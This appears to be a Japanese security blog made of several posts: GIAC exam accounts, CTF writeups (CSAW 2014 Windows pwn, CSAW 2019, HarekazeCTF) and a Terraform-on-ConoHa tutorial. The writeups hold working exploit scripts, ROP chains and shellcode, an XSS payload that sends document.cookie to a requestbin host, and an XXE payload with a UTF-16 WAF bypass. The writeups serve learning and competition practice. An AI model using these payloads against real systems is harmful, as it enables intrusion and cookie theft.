GIAC Exploit Researcher and Advanced Penetration Tester (GXPN) 合格体験記

tl; dr

  • GIAC Exploit Researcher and Advanced Penetration Tester (GXPN) に85% で合格した
  • 勉強方法
    • 受講したトレーニングのテキストを読み込むのと、演習をすべてやり直す
    • 模擬試験を本番と同様の状況で受ける(紙の辞書やテキストを用意して)
    • 実技テスト対策に、模擬試験では環境に慣れておく

はじめに

GIAC Reverse Engineering Malware(GREM)合格体験記 を書いてから約半年で2つ目のGIAC資格を取得することができた。前回は初めてのGIAC 試験だったのでたくさん文章を書いたが今回は簡単に勉強方法と感想だけ書いておこうと思う。
GXPNは、SANS 660 Advanced Penetration Testing, Exploit Writing, and Ethical Hacking に対応するGIAC資格で、主にペネトレーションテスト に関する分野の問題が出題される。前回同様、トレーニング自体も受講したのでテキストや模擬試験x2を受けることができた。どんな問題が出題されるかは、公式サイトを見てほしい。

勉強方法

前回のGREMの記事で書いた事とまったく同じ感じの勉強を行った。しかしながら、GXPNでは実技テストが存在するため、具体的な中身については言えないが、トレーニングでやった演習などを通じて、「こういうことをやりたい場合、どのツールを使って、どうすればいいか」などがパッと浮かぶレベルには仕上げた(つもりだったがいくつかわからずもどかしかった)。また実技テストの環境が若干癖があるので、模擬試験を通してなれておくことをおすすめする。

試験中

今回の試験自体は、3時間だったが2時間程度で終える事ができた。というのもわからない問題が多くて、結構な数をスキップしたためかなり早く進んでしまっていた。最後スキップした問題が10問残っている状態で1時間30経過とかだったので、落ち着きながらテキストを見返したりしてスキップした問題を解いた。前回もそうだったが、「この問題があってれば合格できる!」といった願掛けみたいなことを脳内で思って答えた。最後の問題に答えたら、画面には85%という文字が見えて一安心した

おわりに

所感だが、10月7日~12日にトレーニングを受けて11月1日の試験だったので、かなり勉強時間が短くて大変だった。1日ガッツリ勉強して行けそうだと思ったので、パッと翌日受けることにしてしまったが、前回もそんな感じで受ける日程を決めていたし、そのほうが良いのかもしれない。まぁなんとか良い得点で合格することができたのでほんと良かった。最近は、家庭内も仕事も共にすごく忙しく大変な時期だったので、そういう中でもちゃんと合格できたのは結構嬉しかった。家事など全面的に協力してくれた奥さんには本当に感謝の気持ちしかない。

CSAW CTF 2014 Greenhornd writeup

はじめに

本記事では、CSAW CTF 2014 で出題されたWindows 環境のPwnable 問題「greenhornd」を解説する。CTF におけるWindows のPwnable 問題が割合がかなり少なく知見もあまりまとまっていない分野なので自分の学習がてらまとめてみた。Linux でのPwnに慣れている人向けの記述になっているので、うまく補完しながら読んでほしい。

1. 環境準備

1.1 Windows OS の準備

Linux と異なり環境構築に戸惑う人もいると思うので準備方法を記載していく。Windows OS自体は、Edgeのテスト用として用意されている、Free Virtual Machines from IE8 to MS Edge - Microsoft Edge Development を用いる。本ページにアクセスしたら、「Virtual machine」の欄を「IE11 on Win81 (x86)」に選択、「Select platform」を「VirtualBox」にして、ダウンロードボタンをクリックする。ダウンロードが完了したらzipを展開し、仮想マシンをインポートする。

1.2 解析環境の準備

本VMは、ドライブが備わっていないので、VirtualBoxの設定からドライブを作成して、Guest Addition をインストールする。インストール後は、共有フォルダあるいはD&Dやクリップボードの共有ができるようにしてホストマシンと相互にやりとりできるようにしておく。また、ホストマシンと本VMにpingが届くことも確認しておく(Windows はpingをデフォルトで応答しないので、VM側からホストマシン側へ飛ばすと良い。) 最後に、検証やポートの公開などで面倒なので、Windows Firewall を無効にしておく。

次に、本問題フアィルと解析する際にVM側に必要なソフトウェアをダウンロードする。以下に列挙する。

  • greenhornd.exe
    • 問題のバイナリファイル
  • AppJailLauncher.exe
    • Windows におけるPwn 問題を動作させる定番のソフトウェア(らしい)
  • Visual Studio 2013 の Visual C++ 再頒布可能パッケージ
    • greenhornd を実行しようとすると「msvcr120.dll」が無いためにエラーになるのでインストールする
    • ちなみにmsvcr120.dll は、libcに入っているような標準的な関数を提供するDLL
  • Visual Studio 2019
    • PoC 作成用に利用
    • 特に個別パッケージのMSVC vXXX - VS 2019 C++ x64/x86 build tools には、cl や dumpbin など便利なコマンドが多いのでインストール推奨
  • x64dbg
    • Windows における代表的なデバッガの1つ
  • PeStudio
    • PEビューワ、マルウェア解析などでも必須となるアイテム
    • でかいファイルを扱うと重い
  • DLL Export Viewer
    • DLL がExplortする関数一覧の閲覧や検索ができるGUIソフト
    • 比較的大きなDLLでもさばけるためDLLから関数を探す時などはこちらを利用
  • cdb, Windbgなどのデバッグツール
    • シェルコードのデバッグやPoC 用に利用

ホスト側には概ね以下のソフトウェアが入っていれば良いだろう。

  • exploit コードを作成するためのプログラミング環境 (Python, Rubyなど)
  • rp++ などのROP Gadget 検索ツール
  • IDA, Ghidra などの逆アセンブラ

必要なソフトウェアのインストールなどが終わったら次に実際にgreenhornd.exe を問題のように動作させてみる。動作させる際には前述したAppJailLauncher.exe を利用する。デスクトップなどに、以下の内容のrun.bat を作成する。これでダブルクリックでいつでも問題を動作させることができる。また、同じディレクトリにgreenhornd.exekey というファイル名でFLAGを書いたテキストファイルを用意しておこう。

AppJailLauncher.exe /network /key:key /port:9998 /timeout:30 greenhornd.exe

実際にダブルクリックすると以下のような画面になる。その後、ホストマシンから、本VMの9998番ポートへ向けて接続してみよう。

nc <VMのIPアドレス> 9998

正しく動作していれば、Passsword を求められる文字列が帰ってくるはずだ。ここまでが設定できれば、あとは解析をスタートさせることができる。

2. 解析

まずは、先程nc でつないだところからのスタートだ。パスワードの入力を求められているので、バイナリ中からパスワードを探そう。この時重要なのは、本問題はPwnableであってReversingではない。つまり、難しい技を使ってパスワードを隠していることは考えにくい。そこで、手始めにstrings コマンドとgrep でpasswordを引っ掛けてみよう。grep で検索をかける際には、大文字小文字を無視する-i オプションを付けておくと良い。

strings greenhornd.exe | grep -i password
To continue, you're going to need the password. You can get the password by running strings from minsys (strings - greenhorn.exe) or locate it in IDA.
Password: 
GreenhornSecretPassword!!!
Incorrect Password.
Password accepted.

この結果から、気になる文章はあるものの、GreenhornSecretPassword!!! が怪しいと感じるだろう。nc でつないで、この文字列を入力してみよう。そうすると、さらに応答が進み選択画面が出てくるはずだ。割愛するが、重要な選択肢は、(A)と(V)だ。(A) を選ぶと、PEファイルのベースアドレスとスタックのアドレスがリークする。つまり、Windows におけるASLRをBypassすることが可能となる。(V) を選択すると1024 byteの入力を行うことができる。この2つ以外はどれも説明の文字列が帰ってくるだけだ。

今回は、Ghidra を用いて逆アセンブル、逆コンパイル結果を見ながら詳細な解析を勧めていく。PeStudioなどの.textセクションのvirtual address や文字列などを起点にxref機能などを使ってバイナリ中を動き回ると、0x401000 がmain関数にあたる部分だとわかる。さらに、下図からも先程入力したパスワードがstrncmp関数で比較されており正しいことがわかる。解析する際には、積極的に関数名や変数名をわかりやすい形に変更していくことをおすすめする。Ghidra はまだ世に出て慣れ親しんでいない人も多いので、Ghidra Pro Book を一読することをおすすめする。

main関数付近のデコンパイル画面

さらにswitch 文のところから、(V)の処理の実際の関数は、0x401210だとわかるので見てみる。

選択肢Vの関数

中では、0x800 という引数があることがわかる。読み込む処理が本処理しかないため、この値は読み込みバイト数だと推測できるが、促されている長さは1024なためBuffer Overflow が発生するとわかる。さらに条件分岐で、C の文字が先頭に入っているとexit処理に移る。実際にデバッガでこの周辺処理や1024文字以上を入力した場合の挙動を見てみると、ebpレジスタが指すアドレスの次のワードがreturn address になっていることがわかる。今回の場合、return address が格納されたアドレスが0x03CFAC0 、入力するバッファの先頭アドレスが0x03CF6C0 だったので、先頭から1028byte分のパディングをした後に、return address を書き換えることが可能だとわかる。これで、EIPは奪えたことになる。(こういった動的なデバッグの際には、攻撃コードを送る手前で、exploitコード側で標準入力を受け付けておき、デバッガで対象プロセスにアタッチし、ブレークポイントを貼って、exploitコードで適当なキーを叩き実行を進めて止めるやり方が便利。)

ここまでの情報を整理すると、以下のようになる。これらを踏まえてExploit 作成に移る。

  • 1028 バイトのパディングを入れることで、Return address を書き換えることができる
  • PEのベースアドレスとスタックのアドレスは、リーク可能

3. Exloit コードの作成

まずは、Exploit の方針を明示する。今回は、VirtualAlloc関数を使って、スタックの領域をRWXな領域に変更し、シェルコードを実行して、keyファイルの内容を出力する方針を取る。VirtualAlloc関数の実アドレスは、0x402000(RVA) に存在するため、ROPで本アドレスの中にあるアドレスにジャンプすることを試みる。本コードには、switch文があり、dword[ecx*4+0x401160] にjmpする処理が存在する。そのため、ecxを適切な値にしてこのjmp処理に制御を移すことで任意のアドレスにjmpすることができる。そこで、バイナリ中にpop ecx; ret が行えるROP Gadgetがあるか調べると、いくつかGadget が見つかるため、本方針でVirtualAlloc関数に飛ばすことは可能だと考えられる。

$ rp-osx-x64 -r 1 -f greenhornd.exe | grep 'pop ecx'
0x0040178c: pop ecx ; ret  ;  (1 found)
0x004018b5: pop ecx ; ret  ;  (1 found)
0x00401c20: pop ecx ; ret  ;  (1 found)

次に、VirtualAllocでスタックのパーミッションを書き換えた後に実行するシェルコードについて考えてみる。Linux と異なりWindows の場合システムコール番号などが各種OSで異なっておりLinux に比べて生のシステムコールを読ぶのは汎用性が低いシェルコードになってしまう。そのため、Windowsの場合はWin32 APIを呼び出して実行するシェルコードを作成する。今回は、key というファイルの中身を見たいので、ファイルを開いて、読み出し、書き出す処理を行う必要がある。そこで、PEバイナリに含まれているReadFileやWriteFileを用いれば良いと考えられるが、これらの関数を実行するためには事前に対象ファイルのファイルハンドラを取得する必要があり、そのためには引数の多いCreateFile関数を呼ばなくてはならない。今回の場合は特に成約が厳しくないが、長さ制限などがある場合は、_open, _read, _write を使ってLinuxライクなシェルコードを作成して短くする方法がある。今回は、その方針で作成した。Windows におけるシェルコード作成方法などについては、Windowsで電卓を起動するシェルコードを書いてみる がとてもわかりやすいので参照してほしい。今回は、本サイトのシェルコードを改変する形で以下のシェルコードを作成した。mainラベルより上はサイトと全く同じため省略する。

main:
    push 0079656bh	; key
    mov eax, esp
    push 0
    push 0
    push eax
    push 0e12e0c6eh  	; open("key", 0, 0)
    call api_call
    mov ebx, eax        ; ファイルディスクリプタをebxに退避
    push 100h		    ; len
    lea ebp, [esp+100h]	; buffer
    push ebp            
    push ebx
    push 0e70e09a4h	    ; read(fd, esp+100h, 100h)
    call api_call
    push 100h
    push ebp
    push 1
    push 067a78ad5h	    ; write(fd, esp+100h, 100h)
    call api_call
    push 73e2d87eh      ; ExitProcess
    call api_call

end start

最後に、以下にexploit の全体コードを示す。

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwn'

host = '192.168.0.109'
port = 9998
$z = Sock.new host, port
def z; $z; end
context.log_level = :info

password = "GreenhornSecretPassword!!!"
puts "Password: #{password}"
z.recvuntil "Password: "
z.sendline password
z.recvuntil "Selection: "

puts "[*] Select A to leak and calculate some addresses"
z.sendline "A"
tmp = z.recvuntil "Selection: "
text_base = tmp.match(/is: (.*) /)[1].to_i(16)
stack_addr = tmp.match(/at: (.*)\./)[1].to_i(16)
pop_ecx_ret = text_base + 0x0040178c
jmp_memory = text_base + 0x0040110d
puts "image base address        : 0x%x" % text_base
puts  "Stack address             : 0x%x" % stack_addr
puts  "pop ecx; ret              @ 0x%x" % pop_ecx_ret
puts  "jmp dword[0x401160+ecx*4] @ 0x%x" % jmp_memory

puts  "[*] Select V to overflow"
z.sendline "V"
z.recvuntil ").\n\n"

shellcode = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x68\x6B\x65\x79\x00\x8B\xC4\x6A\x00\x6A\x00\x50\x68\x6E\x0C\x2E\xE1\xE8\x83\xFF\xFF\xFF\x8B\xD8\x68\x00\x01\x00\x00\x8D\xAC\x24\x00\x01\x00\x00\x55\x53\x68\xA4\x09\x0E\xE7\xE8\x69\xFF\xFF\xFF\x68\x00\x01\x00\x00\x55\x6A\x01\x68\xD5\x8A\xA7\x67\xE8\x57\xFF\xFF\xFF\x68\x7E\xD8\xE2\x73\xE8\x4D\xFF\xFF\xFF\x00\x00\x00\x00\x6E\x8F\x87\x5D\x00\x00\x00\x00\x0D\x00\x00\x00\x40\x00\x00\x00\x1C\x20\x00\x00\x1C\x04\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xB6\x00\x00\x00\x2E\x74\x65\x78\x74\x24\x6D\x6E\x00\x00\x00\x00\x00\x20\x00\x00\x1C\x00\x00\x00\x2E\x72\x64\x61\x74\x61\x00\x00\x1C\x20\x00\x00\x50\x00\x00\x00\x2E\x72\x64\x61\x74\x61\x24\x7A\x7A\x7A\x64\x62\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

payload = "C" * 1028          # 1028 byte
payload << p32(pop_ecx_ret)   # Overwrite return address
payload << p32(936)           # ecx <- 936
payload << p32(jmp_memory)    # jmp dword [0x401160+ecx*4] -> 0x402000 (VirtualAlloc)
payload << p32(stack_addr+44) # the head address of shellcode
payload << p32(stack_addr)    # lpAddress
payload << p32(1024)          # dwSize = 1024
payload << p32(0x1000)        # flAllocationType = MEM_WRITE
payload << p32(0x40)          # flProtect = PAGE_EXECUTE_READWRITE
payload << shellcode
puts "[*] Send payload"
z.sendline payload
puts z.recvuntil "}"

以下が実行結果である。

x.rbの実行結果

4. おわりに

本記事では、CTFの問題を使ってWindows におけるExploitのための環境構築方法やLinuxとの差について簡単に記した。本問題は、古い問題のためセキュリティ機構などもゆるい。現実の世界でのExploitは、もっと難しいはずだ。しかしながら、本問題のような簡単なBOFを利用したROPなどの古典的なテクニックを理解しておくことで、脅威の度合いについて正しく理解できるだろう。余力があれば、さらに異なるWindows Exploit 問題のWriteupを書いていきたい。

Csaw2019 writeup

Misc

mcgriddlev2

  • 問題文にFLAGが記載されている
  • flag{W3lcome_7o_CSAW_QUALS_2019!}

Pwn

baby_boi (50pt)

  • シンプルなBOFでIPが奪える問題
  • libcのアドレスを出力してくれているので、配布されたlibcでオフセット求めてOne-Gadget に飛ばしてシェルを奪う

    #!/usr/bin/env ruby
    # coding: ascii-8bit
    require 'pwn'
    $z = Sock.new "localhost", 8888
    $z = Sock.new "pwn.chal.csaw.io", 1005
    libc = ELF.new "./libc-2.27.so"
    #libc = ELF.new "/lib/x86_64-linux-gnu/libc-2.29.so"
    def z; $z; end
    z.recvuntil("\n")
    libc_printf = z.recvuntil("\n").match(/: (.+)/)[1].to_i(16)
    libc_base = libc_printf - libc.symbols["printf"]
    puts "%x" % libc_base
    payload  = "A" * 40
    payload << p64(libc_base + 0x4f322)
    z.sendline(payload)
    z.interact
  • flag{baby_boi_dodooo_doo_doo_dooo}

GOT Milk? (50pt)

  • 独自の共有オブジェクトとバイナリが配られる
  • set LD_LIBRARY_PATH ./ でカレントディレクトリの共有オブジェクトを見るようにする
  • FSBがあるので、それを使ってGOT Overwriteする

    #!/usr/bin/env ruby
    # coding: ascii-8bit
    require 'pwn'
    require 'fsa'
    #$z = Sock.new "localhost", 8888
    $z = Sock.new "pwn.chal.csaw.io", 1004
    def z; $z; end
    value = 0x89
    fmt = FSA.new()
    fmt[0x804a010] = value
    payload = fmt.payload(7) # index of argument
    puts z.recvuntil("? ")
    z.sendline(payload)
    puts z.recv
  • flag{y0u_g00000t_mi1k_4_M3!?}

small_boi (100pt)

  • statically linked でstrippedな小さなバイナリが与えられる
  • sig_return システムコールを呼ぶようなraxの設定のされ方があるのと自明なBOFがあるので、Sigreturn ROP (SROP) で execve("/bin/sh", 0, 0) を実行する

    • SROPは、スタックの値を使ってsig_return実行時にレジスタの値を代入する攻撃
    • これを使ってrdiやrsi、ripなどが設定できるため任意のシステムコールを呼べる

      #!/usr/bin/env ruby
      # coding: ascii-8bit
      require 'pwn'
      #$z = Sock.new "localhost", 8888
      $z = Sock.new "pwn.chal.csaw.io", 1002
      def z; $z; end
      payload = "\x00" * 0x28
      payload << p64(0x40017c)
      payload << p64(0x0) * 4
      payload << p64(0x0) * 8 # r8~r15
      payload << p64(0x4001ca) # rdi = /bin/sh
      payload << p64(0) # rsi
      payload << p64(0) # rbp
      payload << p64(0) # 
      payload << p64(0) # 
      payload << p64(0x3b) # rax = 0x3b 
      payload << p64(0) # rcx
      payload << p64(0)   # rsp
      payload << p64(0x00400185) # rip = syscall
      payload << p64(0x0) # eflags
      payload << p16(0x33) # cs
      payload << p16(0)
      payload << p16(0)
      payload << p16(0x2b) # ss
      payload << p64(0x0) * 5 # err ~ union
      payload << p64(0x0) * 8 # reserved[8]
      z.sendline payload
      z.interact
  • flag{sigrop_pop_pop_pop}

traveller

  • 解けなかったのでwriteupを見た
  • Off-by-oneがあるためHeap問題かと思ったら操作対象のインデックスの入力に負数が入力できるOOB問題
  • 編集コマンドで、-50 をするとfree@gotを書き換えられたのでこれを使ってcat_flag関数に飛ばす

    #!/usr/bin/env ruby
    # coding: ascii-8bit
    require 'pwn'
    $z = Sock.new "pwn.chal.csaw.io", 1003
    #elf = ELF.new "./traveller"
    #libc = ELF.new "./libc-2.23.so"
    context.log_level = :debug
    def z; $z; end
    def add(dist, dest)
    z.sendline "1"
    z.recvuntil "> "
    z.sendline dist.to_s
    z.recvuntil ": "
    z.sendline dest
    z.recvuntil "> "
    end
    def change(dist, dest)
    z.sendline "2"
    z.recvuntil ": "
    z.sendline dist.to_s
    z.send dest
    z.recvuntil "> "
    end
    def delete(dist)
    z.sendline "3"
    z.recvuntil ": "
    z.sendline dist.to_s
    z.recvuntil "> "
    end
    def check(dist)
    z.sendline "4"
    z.recvuntil ">"
    z.sendline dist.to_s
    return z.recvuntil "> "
    end
    tmp = z.recvuntil "> "
    stack_address = tmp.match(/.\n(.*) \n\n/)[1].to_i(16)
    add(1, "AAAAAAAA")
    change(-50, p64(0x4008b6))
    puts delete(0)
  • flag{h0pe_y0u_3nj0y_ur_j0urn3y}

Rev

Beleaf

  • バイナリ中にFLAGに使われる文字列とインデックスの配列があるので、それを引っこ抜いてきて実行する
#!/usr/bin/env ruby

idxs = [0x1, 0x9, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x8, 0x12, 0x9, 0x12, 0x11, 0x1, 0x3, 0x13, 0x4, 0x3, 0x5, 0x15, 0x2e, 0xa, 0x3, 0xa, 0x12, 0x3, 0x1, 0x2e, 0x16, 0x2e, 0xa, 0x12, 0x6]

flag = [0x77, 0x66, 0x7b, 0x5f, 0x6e, 0x79, 0x7d, 0x20, 0x62, 0x6c, 0x72, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x65, 0x69, 0x20, 0x6f, 0x74, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75].map(&:chr)

idxs.each do |i|
  print flag[i]
end
  • flag{we_beleaf_in_your_re_future}

Web

baby csp

  • CSPが有効なXSS問題
    • default-src 'self'; script-src 'self' *.google.com; connect-src *
  • 上記のCSPからJSONPエンドポイントでのXSSを使う
  • FLAGは、Cookieにあるので、requestbin を使ってPOSTさせるJavaScriptを埋め込む
  • <script src="https://accounts.google.com/o/oauth2/revoke?callback=navigator.sendBeacon('http://requestbin.net/r/ugix54ug', document.cookie)"></script>
  • flag{csp_will_solve_EVERYTHING}

unagi

  • 解けなかったのでwriteupを見た
  • XMLがアップロードできるので、XXEだとわかるが、WAFがありいくつかのキーワード(ENTITYやSYSTEMなど)が使えない
    • PUBLIC は使えたりした
  • 結論としては、UTF-8ではなくUTF-16BEでアップロードすればWAFをBypassできるというものだった
    • 試してたが、普通にXXEとしてうまくないファイルだったためこの方針を諦めてしまっていたのが解けない原因っぽい
  • cat x.xml | iconv -f UTF-8 -t UTF-16BE > x_utf-16.xml などで作成してアップロードする xml <?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY pass SYSTEM "file:///flag.txt"> ]> <users> <user> <username>alice2</username> <password>passwd1</password> <name>Alice2</name> <email>alice2@fakesite.com</email> <group>CSAW2019</group> <intro>&pass;</intro> </user> </users>
  • flag{n0w_i’m_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}

HarekazeCTF 2019 writeup

Baby ROP 1

  • バイナリ中で、system 関数使ってechoしており、Canary等もないBOFが起こるので、pop rdi; ret 使ってsystem(/bin/sh) を呼ぶだけ
#!/usr/bin/env ruby

require 'pwn'

context.log_level = :debug
z = Sock.new "problem.harekaze.com", 20001

pop_rdi_ret = p64(0x00400683)
system = p64(0x4005e3)

STDIN.gets
z.recvuntil "? "
payload = "A" * 24
payload << pop_rdi_ret
payload << p64(0x601048)
payload << system

z.sendline payload

z.interact
  • HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}

Baby ROP 2

  • system 関数などは、存在しないが、libc が配布されているので、ROPでlibcアドレスリークして、One-Gagdet に飛ばすだけ
#!/usr/bin/env ruby

require 'pwn'

context.log_level = :debug
z = Sock.new "problem.harekaze.com", 20005
#z = Sock.new "localhost", 9999
elf = ELF.new "./babyrop2"
libc = ELF.new "./libc.so.6"
#libc = ELF.new "./mylibc.so.6"

pop_rdi_ret = p64(0x00400733)
z.recvuntil "? "

payload = "A" * 40
payload << pop_rdi_ret
payload << p64(elf.got["__libc_start_main"])
payload << p64(0x4004f0)
payload << p64(elf.symbols["main"])
STDIN.gets
z.sendline payload

recvlen = "Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!\n".length
data = z.recvuntil "? "
p data
libc_base = u64(data[recvlen, 6].ljust(8, "\x00")) - libc.symbols["__libc_start_main"]
libc_magic = libc_base + 0xf02a4
puts "libc base 0x%x" % libc_base
puts  "libc magic 0x%x" % libc_magic

payload  = "B" * 40
payload << p64(libc_magic)
z.sendline payload

z.interact
  • HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}

Login

  • 解けなかった、脆弱性わからず

Harekaze Note

  • Note の削除時に何も考慮してないため、Heapアドレスのリークやdouble freeができるが、そこから攻撃に繋げられず

Terraform でConoha のインスタンスを立ててみる

はじめに

最近(?)、自分の中で触ってみたかった技術の1つにTerraformがある。そこで今回は、Terraform でConoha のインスタンスを立ててみる。自分の中での理解をまとめているので間違いあれば教えてください。

Terraform とは

Terraform は、Vagrant などで有名なHashiCorp が開発しているツールで、クラウドサービスやOpenStack を対象に、独自の定義ファイルを用いてインスタンスの管理(構築・削除)を行うことができる。定義ファイルには、HCL を用いて主にtf ファイルに記載していく。私の第一印象としては、Ruby のDSL のような雰囲気を感じるが、Vagrantfile ほどRuby 感はない。どちらかというとjson などに近い雰囲気だ。

Terraform のインストール

今回は、MacBook Proで行っているので、brew 経由でインストールする。

$ brew install terraform

また、HCLを書いていくためエディタ側にもプラグイン等をインストールしてあげよう。渡しの場合は、Emacsのhcl-modeを導入してみた。

定義ファイルの作成

今回は、main.tf というファイル名で以下の内容を作成した。以下の内容は、ほぼ参考記事 と同一である。今回は、勉強も兼ねているので、これを丁寧に読み解いていく。
まずはじめに、Provider の設定だ。

provider "openstack" {
  user_name   = "hgoehoge"
  password    = "hagehage"
  tenant_name = "fugafuga"
  auth_url    = "https://identity.tyo1.conoha.io/v2.0"
}

Provider の設定では、provider キーワードを用いてブロックを定義する。次に、実際のProvider 名を設定するのだが、Conoha がOpenStack を使っているため、Provider にopenstack を設定する。ここには、awsazure といった様々なクラウドサービスなどを指定することができる。今回のopenstackの場合は、API用のユーザ名やパスワード、テナントを名、認証用URLを設定する。
次に、Keypairについて見ていく。

resource "openstack_compute_keypair_v2" "keypair" {
  name       = "terraform-keypair"
  public_key = "ssh-rsa hogehoge"
}

ここでは、構築したインスタンスにssh する際に利用する公開鍵の設定をしている。resource ブロックを用いて、リソースを定義する。resource キーワードの次に、リソースの種類、リソース名を設定する。このブロックの中では、一意に識別するためのname や公開鍵を貼り付けるpublic_key を設定している。

次に、実際にインスタンス自体の設定について見ていく。

resource "openstack_compute_instance_v2" "basic" {
  name        = "basic"                             # 好きな名前
  image_name  = "vmi-ubuntu-18.04-amd64-20gb"
  flavor_name = "g-512mb"
  key_pair    = "terraform-keypair"
  security_groups = [
    "gncs-ipv4-all",
  ]
}

こちらも、先程と同様にresource ブロックを使って定義する。インスタンス自体の設定に関しては、openstack_compute_instance_v2 で設定できるようだ。image_nameflavor_name は、ConohaのAPIを使って設定できる値がわかるので、その値を設定する。今回は最安値プランのVPS構成だ。また、key_pair には先程定義したname 設定する。最後に、security_groups では、通信許可に関する設定だが、今回はIPv4における全開放を指定している。

今回は、設定ファイルにクレデンシャル情報をハードコードしているが、実際には環境変数で渡したり別ファイルに定義したりなどを行うように注意する。

Terraform の実行

Terraform では、まずはじめにinit サブコマンドを実行する。ここで、Provider用のプラグインや各種初期化処理などが走る。次に、plan サブコマンドを用いて、実行計画の作成など実際に行われる処理の確認ができる。そして、apply サブコマンドを用いて、実際に処理を実行させる。また、削除した場合は、destroy サブコマンドを利用する。

$ terraform init
...(skip)
$ terraform plan
...(skip)
$ terraform apply

apply サブコマンドが成功すると結果が出力されるので、そのIP アドレスに対して、ssh すると構築されたサーバにアクセスできることがわかる。また、ssh が確認できたらdestroy サブコマンドを実行してみるとインスタンスが削除されている。ここらへんは、逐次実行しながらConoha のコンパネを見ると具体的なイメージが湧きやすい。

おわりに

今回は、既存の記事を参考にTerraform を使ってConoha にVPSを構築してみた。若干~元記事に騙されて時間をとかしたが、実際に構築することができた。これがあれば、また新しくVPS を立てたいときやイベントを行う際などには便利だと思った。もうちょっと使い道を模索して慣れていきたい。

GIAC Reverse Engineering Malware(GREM)合格体験記

tl;dr

  • GIAC Reverse Engineering Malware(GREM) に 81.33% で合格した
  • 勉強方法
    • 受講したトレーニングのテキストを読み込むのと、演習をすべてやり直す
    • 模擬試験を本番と同様の状況で受ける(紙の辞書やテキストを用意して)
    • 少しでも詰まった概念などについては、ググって知識を補完した
  • トレーニング以外の総合計勉強時間は30 ~ 40時間ほど
  • 試験言語は、英語だが英語自体の難易度は高くない
    • よっぽど英語に自信がない限りは、保険のために紙の辞書を持っていくと良い

はじめに

今回GREMと呼ばれるGIACのマルウェア解析系の資格試験を受けてきて、見事81.33%で合格することができた。この資格については、あまり情報を公開できないのだが、触れられる範囲で勉強法など当日までの道のりをメモしておく。私自身、初めてGIACの試験を受けたのだが、あまり事前情報がない(日本国内の)ため、今後受ける人の参考になると嬉しい。

はじめに、この手の話は筆者のスペックを語っておいた方が勉強時間や勉強方法などの参考になると思うので少し触れておく。私は、CTFを通して主にELFファイルの解析等を3年ほどやっているため、普通のx86やamd64のバイナリ(逆アセンブル結果)なら苦じゃなく読むことはできる。しかしながら、PEバイナリなどWindows環境やWin32 API、今流行りのマルウェアやキャンペーンなどについては、ド素人である。マルウェアがどういうレジストリキーを書き込むとか、どんなファイルを作成するとかその手の話題も正直あまり詳しくない。そこで、私は2019年3月にSANS For 610というコースに参加してきた。そのため、何もトレーニングを受けてない人に比べるとかなり優位ではある。このコースでは、主に前述した内容などを学んできた。そのため、当初に比べるとかなりスキルは上がったような気はする。また、英語スキル的には、英語で書かれたドキュメントや技術洋書は苦じゃなく読むことができるが、ちょこちょこ英単語ググりながら読んでるレベルである。正直得意ではない。以上がざっとしたスペックである。

勉強方法

トレーニングを受講してから、およそ4ヵ月以内に本試験を受けなければならない。社会人2年目になった私は、あまり勉強時間が取れないと思い、このGWに勉強しようと決めてGWに突入した。当初の予定では、このGWに勉強して、受験期限日のギリギリに試験を受ける予定だった。

SANS For610では、5日間にかけて講義を行う。そのため、5つのテキストが手元にはある。そこで、1日1冊を丁寧に復習するようにした。1冊復習するのに、だいたい5,6時間はかかったと思う。テキストの復習では、主にテキストの内容をざーっと眺めつつ、トレーニング中にやっていた演習などをやり直した。しかしながら、バイナリ解析の基本的なところはすでに得意分野だったので、x86アセンブリ自体の話などは斜め読み程度だった。特に苦手なPE周りやマルウェアの特徴的な挙動だったり解析方法、ツールの使い方などに注力した。公式サイトで、試験でどんなことが問われるかなどは書いてあるので、絶対に見るべし。

GIACの試験では、トレーニングテキストを持ち込むことができるため、必要なことをすべて丸暗記する必要はないが、ある程度覚えておいたほうが必要なときに参照するスピードがあがるので良い。また、英語の試験だが、紙の辞書も持ち込める ため英語に自信がないなら持ち込んだほうが良い。

すべてのテキストを復習し終えたら、模擬試験を受けた(模擬試験のスコアが73,4%程度だったので、実はこの時かなりスレスレで、内心険しかった。)。模擬試験を受ける際は、本番と同じ時間、状況で行うことをおすすめする。そのため、紙の辞書なども用意して受けた。あまり問題などについては詳しくいえないが、模擬試験を受けると結果が見れるので、そこで苦手分野を特定して、再度その分野を勉強し直した。その際は、最初よりもより丁寧にテキストを読み込んだり、少しでも詰まった単語や挙動、概念などについてはテキストにとどまらずググって知識を補完した。模擬試験ではだいたい試験時間の半分以下で解答し終わっていたので、本番は丁寧に英文を読み、時間をいっぱい使おうと決めた。また、私は、模擬試験を受けた翌日に本試験を申し込んでいたので、苦手分野を復習し終えた後は、ひたすら寝る時間が来るまでテキストの精読と疑問点や気になったところの知識の補完に努めた。このフェーズでは、もう演習系はやらなかった。総合計の勉強時間としては、30~40時間ほどはやったと思う。

当日

